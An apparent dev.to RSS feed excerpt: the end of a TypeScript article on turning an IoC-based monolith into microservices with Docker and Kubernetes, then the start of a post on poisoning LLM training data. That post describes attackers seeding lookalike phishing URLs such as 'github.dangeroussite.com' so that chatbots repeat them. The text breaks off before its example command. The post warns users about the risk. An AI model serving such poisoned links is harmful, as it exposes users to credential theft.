        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TwoFactorAppServiceImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;TOTPService&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOTPServiceSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOTPServiceImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the monolith, we only start one application server that handles all incoming requests for all boundaries. We can achieve this by using a single IoC container that loads all the IoC modules for all boundaries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createContainer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;...[&lt;/span&gt;
            &lt;span class="nx"&gt;infrastructureIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;authIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;tenantIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;assetManagementIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;templateManagementIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In your application there should be a single point in which the layers are "composed" together. This is known as the composition root. In our case, the composition root is the IoC container. In the monolith, we create a single IoC container which means that we have one composition root for the entire application.&lt;/p&gt;

&lt;p&gt;Finally, we run the monolith application by creating a server that uses the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createAppServer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./infrastructure/http/server&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createContainer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./infrastructure/ioc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;reflect-metadata&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dotenv/config&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;API_PORT&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mi"&gt;3001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;defaultOnReady&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Server started on http://localhost:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;onReady&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createContainer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createAppServer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;onReady&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;defaultOnReady&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, we have a fully functional monolith with well-defined boundaries. The key insight is that each boundary is encapsulated in its own IoC module, and all modules are composed together in a single container. Now we're ready to see how we can split this monolith into microservices without changing any of the existing code.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Transform into microservices by using one composition root per boundary
&lt;/h2&gt;

&lt;p&gt;After working for an extended period of time on the monolith, we will learn more about the service boundaries and how they should be defined. At some point, we will be ready to split the monolith into microservices. The great news is that because we have followed the Onion/Clean architecture principles and have encapsulated each boundary in its own IoC module, we can easily extract each boundary into its own microservice without changing major parts of the existing code.&lt;/p&gt;

&lt;p&gt;First we need to create a new composition root for each microservice. Each composition root will create its own IoC container and load only the IoC modules that are relevant for that specific microservice. We can create a helper function that creates a microservice given a configuration object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;ServiceConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;iocModules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ContainerModule&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createMicroService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ServiceConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iocModules&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;iocModules&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createAppServer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Server started on http://localhost:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we can create a new entry point for each microservice. Each entry point will use the &lt;code&gt;createMicroService&lt;/code&gt; function to create a microservice with its own IoC container and relevant IoC modules. For example, here is the entry point for the authentication &amp;amp; authorization microservice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// api/src/infrastructure/http/microservices/auth/index.ts&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createMicroService&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;iocModules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;infrastructureIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;authIocModule&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;auth&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And here is the entry point for the content management microservice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// api/src/infrastructure/http/microservices/cms/index.ts&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createMicroService&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;iocModules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;infrastructureIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;templateManagementIocModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;contentManagementIocModule&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cms&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We then use Kubernetes to deploy each microservice as a separate deployment. Each deployment will run its own instance of the microservice, and we can use Kubernetes services to expose each microservice to the outside world.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Manage most of the microservices complexity from the CI/CD layer not the application code
&lt;/h2&gt;

&lt;p&gt;The main idea here is that we should move most of the complexity of managing multiple microservices to the CI/CD layer. Each microservice has its own entry point, and we can use our CI/CD pipeline to build, test, and deploy each microservice independently. Most of the code remains unchanged, as we have not modified any of the existing business logic or domain models. The only changes we have made are in the composition roots for each microservice.&lt;/p&gt;

&lt;p&gt;The key insight here is that we use the &lt;strong&gt;same codebase&lt;/strong&gt; for all microservices. We don't create separate repositories or duplicate code. The main goal is to continue to develop the application in a way that feels like working on a monolith as much as possible.&lt;/p&gt;

&lt;p&gt;Most of the microservices complexities are pushed out to the CI/CD layer, where you should leverage Kubernetes heavily to manage the deployments, scaling, and service discovery.&lt;/p&gt;

&lt;p&gt;To achieve this, we use a single Dockerfile with different build arguments to specify which entry point to use. The key optimization is that each microservice image only includes the code relevant to that service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node:20-alpine&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; SERVICE_NAME=monolith&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;node scripts/prune-services.js &lt;span class="nv"&gt;$SERVICE_NAME&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;npm ci &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm run build
&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; SERVICE_ENTRY_POINT=dist/index.js&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; ENTRY_POINT=$SERVICE_ENTRY_POINT&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["sh", "-c", "node $ENTRY_POINT"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;prune-services.js&lt;/code&gt; script removes directories not relevant to the target service. For example, when building the &lt;code&gt;auth&lt;/code&gt; service, it removes &lt;code&gt;app-services/cms&lt;/code&gt;, &lt;code&gt;domain-model/dam&lt;/code&gt;, &lt;code&gt;infrastructure/http/controllers/tenant&lt;/code&gt;, etc.—keeping only &lt;code&gt;auth&lt;/code&gt;-related code and shared infrastructure.&lt;/p&gt;

&lt;p&gt;Then in our CI/CD pipeline, we build separate images for each microservice by passing different entry points:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build auth microservice&lt;/span&gt;
docker build &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SERVICE_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SERVICE_ENTRY_POINT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dist/infrastructure/http/microservices/auth/index.js &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-t&lt;/span&gt; auth-service &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Build cms microservice  &lt;/span&gt;
docker build &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SERVICE_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;cms &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SERVICE_ENTRY_POINT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dist/infrastructure/http/microservices/cms/index.js &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-t&lt;/span&gt; cms-service &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can use hashes to verify if a microservice needs to be redeployed—if the code for a specific microservice has not changed, you can skip the deployment for that microservice. Since each image only contains service-specific code after pruning, the resulting image digest will only change when relevant code changes. Compare the new image digest against the one currently in your container registry using &lt;a href="https://github.com/containers/skopeo" rel="noopener noreferrer"&gt;&lt;code&gt;skopeo&lt;/code&gt;&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;REGISTRY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;myregistry.azurecr.io

&lt;span class="c"&gt;# Get digest of newly built image (after pushing to registry)&lt;/span&gt;
&lt;span class="nv"&gt;NEW_DIGEST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;skopeo inspect docker://&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;/auth-service:&lt;span class="nv"&gt;$COMMIT_SHA&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.Digest'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Get digest of currently deployed image (tagged as 'latest' or 'production')&lt;/span&gt;
&lt;span class="nv"&gt;DEPLOYED_DIGEST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;skopeo inspect docker://&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;/auth-service:latest | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.Digest'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Only deploy if the digests differ&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW_DIGEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEPLOYED_DIGEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="c"&gt;# Tag the new image as latest&lt;/span&gt;
  skopeo copy docker://&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;/auth-service:&lt;span class="nv"&gt;$COMMIT_SHA&lt;/span&gt; docker://&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;/auth-service:latest
  &lt;span class="c"&gt;# Update the deployment&lt;/span&gt;
  kubectl &lt;span class="nb"&gt;set &lt;/span&gt;image deployment/auth-service auth-service&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$REGISTRY&lt;/span&gt;/auth-service:&lt;span class="nv"&gt;$COMMIT_SHA&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since each service build is independent, you can run all builds in parallel to speed up the CI/CD pipeline.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Onion/Clean architecture is powerful because it allows you to build applications that are easy to maintain and extend over time. Your application becomes a modular plugin system where each component can be swapped out independently.&lt;/p&gt;

&lt;p&gt;For example, in this particular application, we migrated from CosmosDB to PostgreSQL a few months after starting the project. Because we had followed the Onion/Clean architecture principles, we were able to swap out the database implementation layer (&lt;code&gt;infrastructure/db/repositories&lt;/code&gt;) without changing any of the existing code. We simply created a new IoC module for PostgreSQL and updated the composition root to use the new module.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;composition root&lt;/strong&gt; is a very powerful concept because we delay the decision of how to compose the application until runtime. This allows us to easily transition from a monolithic architecture to a microservices architecture without changing any of the existing code (if you designed the monolith with this goal in mind from the start).&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>microservices</category>
      <category>typescript</category>
      <category>node</category>
    </item>
    <item>
      <title>Beware: ChatGPT Could Be Attacking You!</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Tue, 12 Aug 2025 06:41:23 +0000</pubDate>
      <link>https://dev.to/remojansen/beware-chatgpt-could-be-attacking-you-3ech</link>
      <guid>https://dev.to/remojansen/beware-chatgpt-could-be-attacking-you-3ech</guid>
      <description>&lt;p&gt;&lt;strong&gt;Did you know that your AI chatbot could be trying to hack you?&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;The other day, I was deep in research mode, hammering away at ChatGPT with questions to fuel my latest project. The responses were solid, as usual—until one caught my eye. It was a perfectly valid answer, but nestled within it was a link that screamed trouble. A quick glance revealed it wasn’t just a dodgy URL; it was a full-on phishing site designed to look legit. I’ve always known large language models (LLMs) like ChatGPT can churn out imperfect or biased answers, but this was a wake-up call. I hadn’t realized they could unwittingly serve up a phishing attack as part of their response.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Did This Happen?
&lt;/h2&gt;

&lt;p&gt;The mechanics behind this are as fascinating as they are unsettling. Hackers are clever—they don’t just slap together a random malicious site and hope for the best. They’re methodical. Here’s how they pull it off:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Harvesting Legitimate URLs&lt;/strong&gt;: Attackers start by scraping all the legitimate URLs from a trusted website—think something like &lt;code&gt;github.com&lt;/code&gt;. They map out the structure, capturing every detail of how the URLs are constructed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Crafting Malicious Mimics&lt;/strong&gt;: Using this map, they create a parallel set of URLs that mirror the originals but point to a malicious domain. For example, a legitimate URL like &lt;code&gt;github.com/awesome-project&lt;/code&gt; might be mimicked as &lt;code&gt;github.dangeroussite.com/awesome-project&lt;/code&gt;. The subdomain stays the same to trick the eye, but the root domain is a trap.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Infiltrating LLM Training Data&lt;/strong&gt;: LLMs like ChatGPT are trained on vast swaths of internet data, which unfortunately includes both legitimate and malicious content. Since these models predict the next most likely token based on patterns in their training data, they can’t always distinguish between the real &lt;code&gt;github.com&lt;/code&gt; and its evil twin, &lt;code&gt;github.dangeroussite.com&lt;/code&gt;. Over time, the malicious URL might slip into a response, especially if it’s been seeded across enough corners of the web to seem plausible.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This isn’t a hypothetical—it’s a real risk. The LLM doesn’t “know” it’s handing you a phishing link; it’s just following the patterns it’s learned. And because these malicious URLs are designed to blend in, they can easily go unnoticed by users who trust the AI’s output.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Severe Is This?
&lt;/h2&gt;

&lt;p&gt;This issue is a big deal—potentially catastrophic in some contexts. Most users don’t expect an AI chatbot to serve up malicious content, which makes this a sneaky and effective attack vector. Imagine you’re a developer querying an LLM for a quick setup guide, or a customer service rep using an AI tool to respond to support tickets. A single malicious URL slipping through could lead to stolen credentials, compromised systems, or even large-scale data breaches.&lt;/p&gt;

&lt;p&gt;But phishing links are just the start. LLMs can be manipulated to generate other types of malicious content, like rogue code or harmful instructions. For instance, say you ask for the command to install &lt;code&gt;nvm&lt;/code&gt; (Node Version Manager). The correct command is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
